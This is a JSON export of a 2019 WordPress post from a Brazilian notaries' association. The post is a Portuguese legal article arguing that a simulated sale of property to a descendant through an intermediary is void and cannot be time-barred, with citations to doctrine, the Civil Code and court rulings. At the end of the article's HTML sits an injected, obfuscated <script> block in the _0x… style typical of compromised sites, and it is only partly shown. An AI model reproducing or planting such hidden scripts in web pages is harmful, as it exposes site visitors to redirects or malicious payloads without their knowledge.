{"id":195,"date":"2019-04-01T10:00:09","date_gmt":"2019-04-01T13:00:09","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-venda-simulada-a-descendente-nula-pleno-jure\/"},"modified":"2019-04-01T10:00:09","modified_gmt":"2019-04-01T13:00:09","slug":"artigo-venda-simulada-a-descendente-nula-pleno-jure","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-venda-simulada-a-descendente-nula-pleno-jure\/","title":{"rendered":"Artigo: Venda Simulada a Descendente Nula -&#8220;Pleno Jure&#8221;"},"content":{"rendered":"<p style=\"text-align:justify\"><strong>VENDA SIMULADA A DESCENDENTE&nbsp;NULA &#8211; &ldquo;PLENO JURE&rdquo;<\/strong><\/p>\n<p style=\"text-align:justify\"><strong>EUL&Acirc;MPIO RODRIGUES FILHO<\/strong><\/p>\n<p style=\"text-align:justify\"><em>Graduado pela Universidade Federal de Uberl&acirc;ndia<\/em><\/p>\n<p style=\"text-align:justify\"><em>P&oacute;s-Doutor em Direito<\/em><\/p>\n<p style=\"text-align:justify\"><em>Advogado<\/em><\/p>\n<p style=\"text-align:justify\">&nbsp;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Proposta a&ccedil;&atilde;o de nulidade de atos jur&iacute;dicos e de respectivos instrumentos, veio a contesta&ccedil;&atilde;o vazada nos itens ora considerados.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Quanto &agrave; exce&ccedil;&atilde;o de coisa julgada<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Os contestantes levantam hip&oacute;tese de ocorr&ecirc;ncia de &ldquo;coisa julgada&rdquo; a vedar a propositura e o curso da a&ccedil;&atilde;o e do respectivo procedimento.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Data venia&rdquo; os r&eacute;us equivocam-se, vez que o litiscons&oacute;rcio ativo formado na presente demanda &eacute; distinto daquele estabelecido na propositura anterior, raz&atilde;o pela qual na hip&oacute;tese incide a regra que veda estens&atilde;o a terceiros, dos efeitos sentenciais antecedentes.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;A prop&oacute;sito o Prof. MARINONI, &ldquo;in&rdquo; Coisa Julgada sobre Quest&atilde;o, Inclusive em Benef&iacute;cio de Terceiro, THOMSON REUTERS, preleciona:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Ora, &eacute; certo que uma decis&atilde;o judicial apenas pode prejudicar aquele que teve ampla e completa oportunidade de influenciar o Juiz, ou seja, de alegar, discutir, requerer prova, participar da sua produ&ccedil;&atilde;o e considerar sobre o seu resultado. Ningu&eacute;m pode ser prejudicado por decis&atilde;o em processo de que n&atilde;o p&ocirc;de participar em adequado contradit&oacute;rio. Trata-se de princ&iacute;pio basilar e ancestral que legitima o exerc&iacute;cio do poder estatal no processo. A legitimidade do exerc&iacute;cio do poder pelo Juiz depende da efetiva possibilidade de participa&ccedil;&atilde;o daqueles que ser&atilde;o afetados pela decis&atilde;o judicial.&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Demais disto, tem-se que, conforme se v&ecirc; de c&oacute;pia de senten&ccedil;a a fls., n&atilde;o houve julgamento de m&eacute;rito, pelo que a &ldquo;res judicata&rdquo; n&atilde;o constitui &oacute;bice ao curso desta a&ccedil;&atilde;o, mesmo sob esse aspecto, e com rela&ccedil;&atilde;o a terceiros.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Alegada prescri&ccedil;&atilde;o do direito de demandar.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Os esp&oacute;lios contestantes cuidam dessa mat&eacute;ria mediante subida ao &ldquo;podium&rdquo; (com o perd&atilde;o dos romanos), de onde vociferam, sobretudo com exposi&ccedil;&atilde;o de cultura duvidosa de sua prefer&ecirc;ncia, ilegitimamente consagrada.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;HIP&Oacute;CRATES j&aacute; afirmava que:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Os homens deveriam saber que &eacute; do c&eacute;rebro, e de nenhum outro lugar, que v&ecirc;m a sabedoria e os contentamentos.&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Percebe-se que os requeridos elegem para discuss&atilde;o do tema, um aspecto da Lei e do Direito relegando ao desprezo a distin&ccedil;&atilde;o entre esses fen&ocirc;menos, caindo em equ&iacute;voco que parece evidente.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Indiscut&iacute;vel que a simula&ccedil;&atilde;o vem desafiando os esp&iacute;ritos cautelosos do Brasil de h&aacute; muito.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Submetidos ao seu exame sob o aspecto particular desde a publica&ccedil;&atilde;o do C&oacute;digo Penal de 1890, sendo dada em alguns casos, por minorias desavisadas como mat&eacute;ria pac&iacute;fica, e dissolvidas todas as incoer&ecirc;ncias apropositadas. Absurdo!<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Todavia, percorrendo o &acirc;mago, o imo da quest&atilde;o, sobretudo mediante consci&ecirc;ncia das suas verdadeiras e cient&iacute;ficas varia&ccedil;&otilde;es, com emprego de disciplinas apropriadas para o caso, percebe-se que a presente tese, pelo menos n&atilde;o &eacute; aventuresca, ao contr&aacute;rio das afirma&ccedil;&otilde;es trazidas como intr&oacute;ito &agrave; discuss&atilde;o estabelecida.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Consabido que desde a vig&ecirc;ncia do Direito Romano pelo mundo, e conforme sua influ&ecirc;ncia ainda hoje no Ocidente (Cfr. SAVIGNY) a simula&ccedil;&atilde;o &eacute; conhecida e reconhecida como um processo de FRAUDE &Agrave; LEI &ldquo;OU&rdquo; PARA PREJUDICAR TERCEIROS.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Diante disso tem-se que a SIMULA&Ccedil;&Atilde;O para FRAUDAR a Lei, em aut&ecirc;ntico ABUSO DE DIREITO, vem contra a ordem jur&iacute;dica nacional.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;A simula&ccedil;&atilde;o para prejudicar terceiros, ao contr&aacute;rio, atinge pessoas espec&iacute;ficas.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;De sorte que essa distin&ccedil;&atilde;o, para tomada de consci&ecirc;ncia do que se deve trazer ao debate sobre quest&atilde;o de t&atilde;o relevante import&acirc;ncia, exige evoca&ccedil;&atilde;o dessa particularidade do Direito brasileiro, vez que sem raz&atilde;o, de modo didaticamente errado t&ecirc;m-na tratado como se envolvesse assuntos juridicamente englobados, com preemin&ecirc;ncia da&nbsp;venda semi-ilegal, isto &eacute;, da venda direta do ascendente a descendente, que &eacute; sujeita &agrave; anulabilidade.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Respeitantemente ao tema alusivo &agrave; SIMULA&Ccedil;&Atilde;O, explicita a Prof&ordf; ANA CLARA NOLETO DOS SANTOS BUENO, do TJDF, &ldquo;in&rdquo; Simula&ccedil;&atilde;o no C&oacute;digo Civil, &ldquo;web&rdquo;:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;O novo ordenamento jur&iacute;dico trata da simula&ccedil;&atilde;o como sendo o &uacute;nico v&iacute;cio que enseja a nulidade absoluta, merecendo, dessa forma, nosso atento estudo de caso.&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Com o advento do novo C&oacute;digo Civil, trazendo mudan&ccedil;as de categoria do v&iacute;cio em quest&atilde;o, merecida se faz fazer uma an&aacute;lise devido a sua grande pr&aacute;tica na vida do cidad&atilde;o, tendo como principal conseq&uuml;&ecirc;ncia ser um ato tachado por lei como nulo, podendo este ser alegado por qualquer interessado, pelo MP, ou pelo Juiz de of&iacute;cio.&rdquo; (idem, ibidem).<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;E, prossegue a professora:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;A &ldquo;Simula&ccedil;&atilde;o &eacute; a declara&ccedil;&atilde;o enganosa da vontade visando produzir efeitos diversos do ostensivamente indicado, com o fim de criar uma apar&ecirc;ncia de direito, PARA ILUDIR TERCEIROS OU BURLAR A LEI.&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Exalce-se que, conforme se v&ecirc; do Direito aplic&aacute;vel (CC 2002), a &ldquo;Simula&ccedil;&atilde;o&rdquo; &eacute; classificada na parte em que &eacute; regulada a INVALIDADE DO NEG&Oacute;CIO JUR&Iacute;DICO (Art. 166).<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;E, de fato, basta proceder-se a um estudo sistem&aacute;tico do C&oacute;digo Civil,para que seja concebida a id&eacute;ia de que a simula&ccedil;&atilde;o n&atilde;o tem identidade com Venda Direta de Ascendente a Descendente regulada na lei. Serve-lhe de esteio, quando se a faz mediante interposi&ccedil;&atilde;o de pessoa para prejudicar os descendentes omitidos.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Observe-se que o art. 496 do CC n&atilde;o regula &ldquo;diretamente&rdquo; a venda mediante simula&ccedil;&atilde;o atrav&eacute;s de interposta pessoa, vez que simplesmente inserida no T&iacute;tulo relativo &agrave;s esp&eacute;cies de contratos e o Cap. I do Livro III, T&iacute;tulo VI, que trata de CONTRATOS, surgindo a venda de ascendente a descendente no T&iacute;tulo VI, nessa parte que os regula, e n&atilde;o os v&iacute;cios dos mesmos, de que se valem, para efeito de reconhecimento de ANULABILIDADE.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;De fato, a regula&ccedil;&atilde;o da mat&eacute;ria sobre venda de &ldquo;ascendente a descendente&rdquo; n&atilde;o abrange diretamente a &ldquo;simula&ccedil;&atilde;o&rdquo;, que tem regime pr&oacute;prio e inconfund&iacute;vel, mas que, sendo o caso, &eacute; de ser invocada e provada.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Se existem disposi&ccedil;&otilde;es legais que disciplinam as mat&eacute;rias, n&atilde;o h&aacute; azo a que no art. 496 esteja englobada &ldquo;simula&ccedil;&atilde;o, sobretudo por PRESUN&Ccedil;&Atilde;O.&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;A prop&oacute;sito do tema vem a pelo excelente li&ccedil;&atilde;o proferida pelo Prof. LEONARDO CARDOSO DE MAGALH&Atilde;ES, Aspectos gerais da a&ccedil;&atilde;o de nulidade por simula&ccedil;&atilde;o:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;O autor n&atilde;o pleitea do r&eacute;u qualquer presta&ccedil;&atilde;o, seja presta&ccedil;&atilde;o de dar, de fazer de n&atilde;o fazer, de abster- se, ou de outra esp&eacute;cie. O que ele visa com a propositura da a&ccedil;&atilde;o &eacute;, apenas, criar, extinguir, ou modificar determinada situa&ccedil;&atilde;o jur&iacute;dica, e isso &eacute; feito independentemente da vontade, ou mesmo contra a vontade da pessoa ou pessoas que ficam sujeitas ao efeito do ato. Assim, o r&eacute;u da a&ccedil;&atilde;o, embora n&atilde;o fique obrigado a uma presta&ccedil;&atilde;o, uma sujei&ccedil;&atilde;o&rdquo;. (AMORIM FILHO, Agnelo, 1997, p. 732). (&#8230;)<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;(&#8230;) s&oacute; os direitos da primeira categoria (isto &eacute;, os direitos a uma presta&ccedil;&atilde;o) conduzem &agrave; prescri&ccedil;&atilde;o, pois, somente eles s&atilde;o suscet&iacute;veis de les&atilde;o ou viola&ccedil;&atilde;o (&#8230;) os direitos potestativos (que s&atilde;o, por defini&ccedil;&atilde;o, direitos sem pretens&atilde;o, ou direitos sem presta&ccedil;&atilde;o, e que se caracterizam, exatamente, pelo fato de serem insuscet&iacute;veis de les&atilde;o ou viola&ccedil;&atilde;o) n&atilde;o podem jamais, por isso mesmo, dar origem a um prazo prescricional (&#8230;) s&oacute; as a&ccedil;&otilde;es condenat&oacute;rias podem prescrever, pois s&atilde;o elas as &uacute;nicas a&ccedil;&otilde;es por meio das quais se protegem os direitos suscet&iacute;veis de les&atilde;o (&#8230;) Os &uacute;nicos direitos para os quais podem ser fixados prazos de decad&ecirc;ncia s&atilde;o os direitos potestativos, e, assim, as &uacute;nicas a&ccedil;&otilde;es ligadas ao instituto da decad&ecirc;ncia s&atilde;o as a&ccedil;&otilde;es constitutivas, que tem prazo especial de exerc&iacute;cio fixado em lei&rdquo;.(AMORIM FILHO, 1997, p. 736). (&#8230;)<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Destarte, se a lei n&atilde;o fixar prazo especial para a extin&ccedil;&atilde;o dos direitos potestativos e, por via reflexa, da a&ccedil;&atilde;o pela qual s&atilde;o exercitados, fica prevalecendo o princ&iacute;pio da perpetuidade. &Eacute; o que acontece com a a&ccedil;&atilde;o de nulidade por simula&ccedil;&atilde;o na sistem&aacute;tica do CCB\/2002, notadamente em raz&atilde;o das disposi&ccedil;&otilde;es do seu art. 169, podendo ser denominada perp&eacute;tua, segundo a li&ccedil;&atilde;o de Agnelo Amorim Filho. (&#8230;)&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;A decreta&ccedil;&atilde;o da nulidade do neg&oacute;cio jur&iacute;dico simulado &eacute; quest&atilde;o de ordem p&uacute;blica, e, como tal, interessa a toda a sociedade, eis que consubstancia o interesse de manter a seguran&ccedil;a e a higidez dos neg&oacute;cios, garantindo-se efic&aacute;cia &agrave;s manifesta&ccedil;&otilde;es de vontade e estabilidade &agrave;s rela&ccedil;&otilde;es tuteladas pelo Direito Civil. Da&iacute; sobressai a possibilidade jur&iacute;dica do pedido de invalida&ccedil;&atilde;o do neg&oacute;cio jur&iacute;dico, com fulcro no art. 167 do CCB\/2002.&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;A seu turno, o C&oacute;digo Civil brasileiro determina:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Art. 167. &Eacute; nulo neg&oacute;cio jur&iacute;dico simulado, mas subsistir&aacute; o que se dissimulou, se v&aacute;lido for na subst&acirc;ncia e na forma.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&sect; 1&ordm; Haver&aacute; simula&ccedil;&atilde;o nos neg&oacute;cios jur&iacute;dicos quando:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;I &ndash; aparentarem conferir ou transmitir direitos a pessoas diversas daquelas &agrave;s quais realmente se conferem, ou transmitem;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;II &ndash; contiverem declara&ccedil;&atilde;o, confiss&atilde;o, condi&ccedil;&atilde;o ou cl&aacute;usula n&atilde;o verdadeira;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;III &ndash; os instrumentos particulares forem antedatados, ou p&oacute;s-datados.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&sect; 2&ordm; Ressalvam-se os direitos de terceiros de boa-f&eacute; em face dos contraentes do neg&oacute;cio jur&iacute;dico simulado.&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;A doutrina esclarece (NELSON NERY e ROSA NERY, C&oacute;digo Civil Comentado, S. Paulo, RT, 2011, p&aacute;gs. 374 e segs.):<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;4. Fraude &agrave; lei e simula&ccedil;&atilde;o. Na figura da fraude &agrave; lei existe uma inten&ccedil;&atilde;o, direta ou indireta, de fraudar o imperativo da norma jur&iacute;dica. A declara&ccedil;&atilde;o de vontade frauda o comando legal, pois &eacute; contr&aacute;ria ao preceito de lei. A distin&ccedil;&atilde;o entre os institutos jur&iacute;dicos, entretanto, n&atilde;o significa que, nos diferentes casos concretos, n&atilde;o possa haver uma sobreposi&ccedil;&atilde;o entre as figuras. Isto seria uma ingenuidade e implicaria pouco aprofundamento te&oacute;rico nos seus matizes mais elementares. Sobre a rela&ccedil;&atilde;o entre fraude &agrave; lei, simula&ccedil;&atilde;o e neg&oacute;cio indireto, v. Nery. (Solu&ccedil;&otilde;es Pr&aacute;ticas, v. III, n. 12, pp. 402-410).&rdquo;<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;2&ordm;: 10. Efeitos da simula&ccedil;&atilde;o. Quest&atilde;o de ordem p&uacute;blica, de interesse social, torna o neg&oacute;cio jur&iacute;dico nulo. Independe de a&ccedil;&atilde;o judicial para ser reconhecida. Pode ser alegada como obje&ccedil;&atilde;o de direito material (defesa) e deve ser reconhecida de of&iacute;cio pelo juiz (CC 168 par. &uacute;n.), a qualquer tempo e grau ordin&aacute;rio de jurisdi&ccedil;&atilde;o. &Eacute; insuscet&iacute;vel de confirma&ccedil;&atilde;o pelas partes (CC 172) ou de convalida&ccedil;&atilde;o pelo decurso de tempo (CC 169). Reconhecida a simula&ccedil;&atilde;o, os efeitos desse reconhecimento s&atilde;o retroativos &agrave; data da realiza&ccedil;&atilde;o do neg&oacute;cio jur&iacute;dico simulado (efic&aacute;cia ex tunc).&rdquo; (&#8230;)<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;12. Casu&iacute;stica:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Alega&ccedil;&atilde;o de simula&ccedil;&atilde;o. Jornada IV STJ 294:<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Sendo a simula&ccedil;&atilde;o uma causa de nulidade do neg&oacute;cio jur&iacute;dico, pode ser alegada por uma das partes contra a outra&rdquo;.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;Simula&ccedil;&atilde;o. Causa de nulidade do neg&oacute;cio jur&iacute;dico. Em espectro de mais de quinze anos (desde 1990 at&eacute; 2007), em numerosas vezes, ao aplicar o CC\/1916 em mat&eacute;ria de simula&ccedil;&atilde;o, o STJ, antecipando-se ao regime da simula&ccedil;&atilde;o no CC\/2002, entendeu que a san&ccedil;&atilde;o era a nulidade e n&atilde;o a anulabilidade. Em ordem cronol&oacute;gica, veja- se as importantes decis&otilde;es paradigm&aacute;ticas: REsp 2216-SP, rel. Min. Nilson Naves, j. 28.6.1991, DJU 1&ordm;.7.1991, v.u.; REsp 10984- RS, rel. min Dias Trindade, j. 28.6.1991, DJU 26.8.1991, v.u.; REsp 184703\/MS, rel. Min. S&aacute;lvio de Figueiredo Teixeira. j. 9.3.1999, DJU 21.6.1999, v.u.; REsp 10300-SP, rel. Min. Aldir Passarinho, Jr., j. 6.12.1999, DJU 8.3.2000, v.u.; REsp 196319- MS, rel. Min. Cesar Asfor Rocha, j. 27.6.2000, DJU 4.9.2000, v.u.; REsp 224552-AM, rel. Min. Castro Filho, j. 15.5.2003, DJU 26.6.2003, v.u.; Resp 591401-SP, rel. Min. Cesar Asfor Rocha, j. 22.3.2004, DJU 13.9.2004, v.u.; REsp 651228-MG, rel Min. Nancy Andrighi, j. 8.8.2006, DJU 21.8.2006, v.u. (&#8230;)<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;&ldquo;7. Pretens&atilde;o declarat&oacute;ria. Perpetuabilidade (Imprescritibilidade). As pretens&otilde;es que se exercem mediante a&ccedil;&atilde;o declarat&oacute;ria s&atilde;o perp&eacute;tuas (imprescrit&iacute;veis). Isto significa que podem ser ajuizadas mesmo se j&aacute; estiver prescrita a pretens&atilde;o condenat&oacute;ria do direito cuja exist&ecirc;ncia ou inexist&ecirc;ncia se quer ver declarada (Nery-Nery. CPC Comentado, coment. 3 CPC 220). O CPC 4&ordm;&sect; &uacute;nico, estabelece que &eacute; admiss&iacute;vel a a&ccedil;&atilde;o declarat&oacute;ria, ainda que tenha havido viola&ccedil;&atilde;o do direito, numa clara e expressa demonstra&ccedil;&atilde;o da ado&ccedil;&atilde;o, pelo CPC, da teoria de Agnelo Amorim Filho, que proclama como imprescrit&iacute;veis as pretens&otilde;es declarat&oacute;rias.&rdquo;<\/p>\n<p style=\"text-align:justify\"><strong>Conclus&otilde;es<\/strong><\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Indiscut&iacute;vel, &ldquo;data venia&rdquo;, que o art. 496 do C&oacute;digo Civil disciplina caso de venda direta a descendente, podendo-se imaginar a partir da&iacute; a &ldquo;doa&ccedil;&atilde;o inoficiosa&rdquo; tamb&eacute;m realizada diretamente de ascendentes em favor de determinados descendentes.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;O que faz surgir a necessidade de se reconhecer eventual simula&ccedil;&atilde;o &eacute; quando para a venda, por exemplo, interp&otilde;e-se um agente, a fim de prejudicar demais descendentes, aspecto n&atilde;o disciplinado no art. 496 do CCivil.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;E &eacute; exatamente neste caso que se vale da aplica&ccedil;&atilde;o das normas relativas &agrave; SIMULA&Ccedil;&Atilde;O PARA PREJUDICAR TERCEIROS e mesmo para BURLAR A LEI que veda semelhante pr&aacute;tica, n&atilde;o quando a venda se faz diretamente, caso em que n&atilde;o h&aacute; simula&ccedil;&atilde;o.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Diante disso percebe-se que, se no caso &ldquo;sub examine&rdquo; ocorreu clara SIMULA&Ccedil;&Atilde;O, as regras desta se aplicam, inclusive aquelas quanto &agrave; &ldquo;nulidade&rdquo; a &ldquo;imprescritibilidade&rdquo;, etc.<\/p>\n<p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;Finalmente, tem-se que, se o descendente beneficiado alienou o bem a outro descendente dos primitivos donos (neto) este fez aquisi&ccedil;&atilde;o solenemente &ldquo;a non domino&rdquo;, n&atilde;o s&oacute; nula, mas, inexistente, com os efeitos jur&iacute;dicos inerentes, inclusive o da invalidez absoluta de vendas outras supervenientes.<\/p>\n<p style=\"text-align:justify\">\n<strong><em>Eulampio Rodrigues Filho &eacute;&nbsp;Professor de Direito Processual Civil, Professor de Organiza&ccedil;&atilde;o Comercial, Doutor em Direito pela UMSA(Buenos Aires), P&oacute;s-Doutorando na Universidade de Messina(It&aacute;lia), Membro do Instituto de Direito Processual, Membro Efetivo da Sociedade Brasileira de Estudos Cl&aacute;ssicos, Doctor en Ciencias Juridicas(Argentina)<\/em><\/strong><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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&ldquo;PLENO JURE&rdquo; EUL&Acirc;MPIO RODRIGUES FILHO Graduado pela Universidade Federal de Uberl&acirc;ndia P&oacute;s-Doutor em Direito Advogado &nbsp; &nbsp; &nbsp; &nbsp;Proposta a&ccedil;&atilde;o de nulidade de atos jur&iacute;dicos e de respectivos instrumentos, veio a contesta&ccedil;&atilde;o vazada nos itens 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